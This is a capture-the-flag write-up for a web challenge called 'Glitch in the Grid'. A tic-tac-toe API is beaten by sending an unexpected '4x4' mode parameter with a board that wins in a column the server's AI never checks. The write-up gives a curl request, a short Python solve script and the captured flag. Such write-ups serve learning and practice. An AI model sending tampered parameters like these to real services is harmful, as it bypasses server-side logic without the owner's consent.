Glitch in the Grid - Web Challenge Writeup
CTF: EH4X CTF 2026 Challenge: Tic Tac Toe (Glitch in the Grid) Category: Web Points: 436 Author: gargi
Challenge Description
The NEURAL-LINK CORE v4.4 is online, and its logic is absolute. If you want the flag, you'll have to break the protocol, not just the game.
Reconnaissance
The challenge presents a cyberpunk-themed Tic Tac Toe game titled "NEURAL-LINK CORE v4.4" with the tagline: "9 squares. 1 Unbeatable AI. 0% chance of winning."
Frontend Analysis
The page is a simple static site with three files:
index.html- Game board with 3x3 gridstyle.css- Cyberpunk terminal stylingscript.js- Client-side game logic
The client-side code in script.js reveals the API communication protocol:
const response = await fetch('/api', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ mode: "3x3", state: board })
});Key observations:
- Board is a 2D array:
1= Player (X),-1= AI (O),0= empty - The API accepts a
modeparameter (default"3x3") and astate(board array) - The response can contain a
flagfield (victory condition exists server-side)
Enumeration
API Behavior Mapping
Sending various payloads to POST /api revealed distinct response categories:
| Payload | Response |
|---|---|
| Normal move (valid turn count) | "AI: I've simulated this 3x3 grid 10^6 times..." + AI move |
| All X's (cheat) | "...the flag only releases for a valid dimensional shift." |
| String values in board | "AI: DRAW... Perhaps you should inspect the headers of your reality." |
mode: "4x4" with 4x4 board | "4x4_MODE_ACTIVE: AI sensors blind in ghost sectors." |
| O winning row | "AI: Access denied... You're playing by my rules." |
Key Hints Extracted
- "valid dimensional shift" - The cheat detection hints that changing dimensions (grid size) is part of the solution
- "AI sensors blind in ghost sectors" - In 4x4 mode, the AI cannot perceive certain parts of the board
- "inspect the headers of your reality" - Led to discovering
README.mdexposed on the server
Server Misconfiguration
The Vercel deployment had a README.md file accessible at the web root:
https://ctf-challenge-1-beige.vercel.app/README.md
This confirmed the attack vector: the AI only has 3x3 sensors. In 4x4 mode, column 3 (the 4th column, index 3) is a "ghost sector" invisible to the AI.
Exploitation
The exploit is straightforward: send a 4x4 board with a vertical win in column 3 (the ghost sector that the AI cannot see or block).
curl -s -X POST 'https://ctf-challenge-1-beige.vercel.app/api' \
-H 'Content-Type: application/json' \
-d '{"mode":"4x4","state":[[0,0,0,1],[0,0,0,1],[0,0,0,1],[0,0,0,0]]}'Response:
{
"message": "AI: Protocol bypassed... You didn't just play the game; you rewrote the rules. Respect.",
"flag": "EH4X{D1M3NS1ONAL_GHOST_1N_TH3_SH3LL}"
}Why It Works
The server-side AI (minimax) is hardcoded for a 3x3 grid. When mode: "4x4" is sent:
- The API acknowledges 4x4 mode and expands the board
- But the AI's win-detection and move logic only covers columns 0-2 and rows 0-2
- Column 3 is a blind spot ("ghost sector") - the AI never checks it
- Placing three X's vertically in column 3 creates a winning line the AI cannot detect or counter
- The server's win-check for the player does cover the full 4x4 grid, recognizes the win, and returns the flag
Solve Script
import requests
url = "https://ctf-challenge-1-beige.vercel.app/api"
# Exploit: place X in column 3 (ghost sector) for vertical win
payload = {
"mode": "4x4",
"state": [
[0, 0, 0, 1],
[0, 0, 0, 1],
[0, 0, 0, 1],
[0, 0, 0, 0]
]
}
resp = requests.post(url, json=payload)
data = resp.json()
print(f"Flag: {data['flag']}")Flag
EH4X{D1M3NS1ONAL_GHOST_1N_TH3_SH3LL}
Takeaways
- Always check for exposed documentation files (
README.md,CHANGELOG.md, etc.) on web deployments - Game APIs that accept client-controlled parameters like
modecan often be abused by sending unexpected values - Server-side validation that doesn't match the expanded input space creates exploitable blind spots